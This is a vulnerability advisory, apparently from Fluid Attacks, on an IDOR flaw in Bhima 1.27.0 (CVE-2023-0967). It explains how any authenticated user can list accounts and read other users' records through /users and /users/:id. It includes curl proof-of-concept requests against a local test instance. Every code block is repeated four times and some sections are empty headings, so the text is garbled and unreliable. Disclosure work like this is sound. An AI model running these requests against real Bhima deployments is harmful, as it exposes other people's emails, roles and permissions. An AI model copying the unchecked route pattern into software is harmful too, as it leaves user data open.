Bhima 1.27.0 - Sensitive Information Disclosure via IDOR

Description

Bhima 1.27.0 exposes user-management API endpoints to any authenticated user,
without checking that the requester is an administrator or is requesting their
own record. A low-privileged user can enumerate users through GET /users and
retrieve another user's detailed record through GET /users/:id by changing
the numeric identifier.

The exposed information includes usernames, account status, last-login data,
role memberships, depot and cash-box assignments. The detailed endpoint also
returns email addresses and project permissions.

Vulnerability

Root cause

Bhima's global access middleware requires a valid authenticated session for
/users routes, but version 1.27.0 did not apply an authorization check to the
user-list endpoint. The affected route was registered as:

app.get('/users', users.list);

app.get('/users', users.list);

app.get('/users', users.list);

app.get('/users', users.list);

The users.list controller executes a query over the user table and related
roles, depots, and cash-box permissions, then returns the rows to the caller.
It does not compare the requested records with req.session.user.id, nor check
for an administrator role.

The detail endpoint has the same authorization flaw. In version 1.27.0 it was
registered as:

app.get('/users/:id', users.detail);

app.get('/users/:id', users.detail);

app.get('/users/:id', users.detail);

app.get('/users/:id', users.detail);

users.detail passes the attacker-controlled :id to lookupUser(). That
function returns the matching user's username, email, account state, roles,
depots, cash boxes, and project identifiers. There is no ownership or
administrator check before the response is returned.

Source-to-sink path

1. Source — authenticated low-privileged user: The attacker logs in with a
   valid non-administrative account and obtains a session cookie or
   x-access-token JWT.

2. Object reference: The attacker requests GET /users to enumerate user
   identifiers, or supplies another user's numeric identifier in
   GET /users/:id.

3. Missing authorization: The routes and controller do not require an
   administrator role and do not constrain :id to the authenticated user's
   identifier.

4. Data retrieval: list() and lookupUser() query the user,
   user_role, role, depot_permission, depot, cashbox_permission,
   cash_box, and project_permission tables.

5. Sink — HTTP response: The resulting records are serialized as JSON and
   returned with HTTP 200 to the low-privileged caller.

Impact

An authenticated ordinary user can access user information belonging to other
accounts. The information supports account and organizational reconnaissance:
usernames, email addresses, account activity/status, role memberships, project
permissions, and operational assignments. The vulnerability has no direct
integrity or availability impact in the demonstrated read path.

Use a local Bhima 1.27.0 instance with two test accounts: a low-privileged
attacker account and a distinct target account. Do not use a production system
or accounts belonging to other people.

1. Authenticate as the low-privileged test account and retain its JWT:

TOKEN=$(curl -sS -X POST http://localhost:8080/auth/login \
  -H 'Content-Type: application/json' \
  --data '{"username":"lowpriv","password":"<local-test-password>","project":1}' \
  | jq -r '.token')

TOKEN=$(curl -sS -X POST http://localhost:8080/auth/login \
  -H 'Content-Type: application/json' \
  --data '{"username":"lowpriv","password":"<local-test-password>","project":1}' \
  | jq -r '.token')

TOKEN=$(curl -sS -X POST http://localhost:8080/auth/login \
  -H 'Content-Type: application/json' \
  --data '{"username":"lowpriv","password":"<local-test-password>","project":1}' \
  | jq -r '.token')

TOKEN=$(curl -sS -X POST http://localhost:8080/auth/login \
  -H 'Content-Type: application/json' \
  --data '{"username":"lowpriv","password":"<local-test-password>","project":1}' \
  | jq -r '.token')

2. Enumerate users using the low-privileged token:

curl -i http://localhost:8080/users \
  -H "x-access-token: $TOKEN"

curl -i http://localhost:8080/users \
  -H "x-access-token: $TOKEN"

curl -i http://localhost:8080/users \
  -H "x-access-token: $TOKEN"

curl -i http://localhost:8080/users \
  -H "x-access-token: $TOKEN"

Expected vulnerable result: HTTP 200 and JSON entries for users other than the
authenticated account, including their identifiers, usernames, status, roles,
depots, and cash boxes.

3. Request a target user's detailed record by changing the numeric ID:

curl -i http://localhost:8080/users/<target-user-id> \
  -H "x-access-token: $TOKEN"

curl -i http://localhost:8080/users/<target-user-id> \
  -H "x-access-token: $TOKEN"

curl -i http://localhost:8080/users/<target-user-id> \
  -H "x-access-token: $TOKEN"

curl -i http://localhost:8080/users/<target-user-id> \
  -H "x-access-token: $TOKEN"

Expected vulnerable result: HTTP 200 and the target user's detailed JSON
record, including email address and project-permission identifiers.

Evidence of exploitation

Our security policy

We have reserved the ID CVE-2023-0967 to refer to this issue from now on. Disclosure policy

System Information

• Bhima

• Version: 1.27.0

• Operating System: GNU/Linux

References

• GitHub repository: https://github.com/IMA-WorldHealth/bhima/

• Historical authorization change: https://github.com/IMA-WorldHealth/bhima-2.x/commit/c14c1b63141dc06b30814de997f0f8e317685acf

• Authorization-removal change: https://github.com/IMA-WorldHealth/bhima-2.x/commit/611f9674974998d1f611710818acadbaddcadd83

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Carlos Bello from Fluid Attacks' Offensive Team.